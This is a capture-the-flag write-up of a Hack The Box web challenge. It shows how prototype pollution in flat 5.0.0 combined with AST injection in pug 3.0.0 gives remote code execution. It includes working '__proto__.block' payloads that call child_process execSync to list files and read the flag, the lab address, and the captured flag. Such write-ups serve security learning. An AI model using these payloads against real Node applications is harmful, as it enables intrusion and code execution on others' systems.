π HTB CTF: Gunship β Prototype Pollution to RCE via Pug & Flat
Ψ¨Ψ³Ω Ψ§ΩΩΩ Ψ§ΩΨ±ΨΩ Ω Ψ§ΩΨ±ΨΩΩ
HTB Challenge: Prototype Pollution to RCE via Flat & Pug
π
Date: May 16, 2025
π― Difficulty: VERY EASY
π¨βπ» Author: 0xAzoz
π Category: Web Exploitation, Prototype Pollution, RCE
πΈοΈ About the Challenge Website
The page displays a simple form asking:
"Who's your favourite artist?"
When you enter any random name, the server responds with:
"Please provide us with the full name of an existing member."
By inspecting the source code (routes/index.js
), we find:
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
So entering Haigh
, Westaway
, or Gingell
will return:
"Hello guest, thank you for letting us know!"
π§ First Thoughts
When I saw the challenge had flat@5.0.0
and pug@3.0.0
, I knew something interesting was coming β both of those have known vulnerabilities. My gut feeling was that it might involve prototype pollution leading to some kind of templating injection... and I was right.
π Vulnerability Discovery
1. flat@5.0.0
β Prototype Pollution
From Snyk:
var unflatten = require('flat').unflatten;
unflatten({
'__proto__.polluted': true
});
console.log(polluted); // true
β‘οΈ Clear sign of prototype pollution.
2. pug@3.0.0
β Remote Code Execution (RCE)
From Snyk pug advisory:
If the
pretty
option is controllable via user input, RCE is possible
That meant combining polluted prototype + pug rendering = remote code execution
𧬠Finding the Injection Point
In the source code challenge/routes/index.js
I found this logic:
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
}
Then I verified prototype pollution via the json spaces
trick:
Normal Request:
{ "artist.name": "Westaway" }
β‘οΈ Returned ( in raw ):
{"response":"<span>Hello guest, thank you for letting us know!</span>"}
With __proto__
Injection:
{
"artist.name": "Westaway",
"__proto__": {
"json spaces": " "
}
}
β‘οΈ Returned:
{
"response": "<span>Hello guest, thank you for letting us know!</span>"
}
Confirmed: JSON response was now prettified = __proto__
is polluted!
Exploiting AST Injection in Pug
Thanks to HackTricks and PortSwigger, I knew this PoC would trigger code execution:
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`ls > /app/static/js/ls.txt`)"
}
The server was running Node and copying files into /app/
'( you can review the Dockerfile )
' I confirmed this by reading /static/js/ls.txt
:
flag
index.js
node_modules
...
Then I extracted the flag using:
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`cat flag > /app/static/js/flag.txt`)"
}
Visited:
http://94.237.123.87:41163/static/js/flag.txt
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}
Lessons Learned
- Prototype Pollution is extremely powerful when paired with templating engines like Pug.
- Always verify if user-controlled keys affect internal object logic.
json spaces
is a sneaky way to confirm pollution!- Keep digging β most critical exploits are just one layer deeper.
References
- Snyk β flat@5.0.0 Vulnerability
- Snyk β pug@3.0.0 RCE
- PortSwigger β JSON Spaces
- HackTricks β Prototype Pollution in NodeJS
- Wayback: p6.is Blog β AST Injection in Pug
This was a fun and rewarding challenge. Keep Googling, keep testing, keep polluting with style π ( it took me about 3 hours β got stuck while googling for an exploitable payload )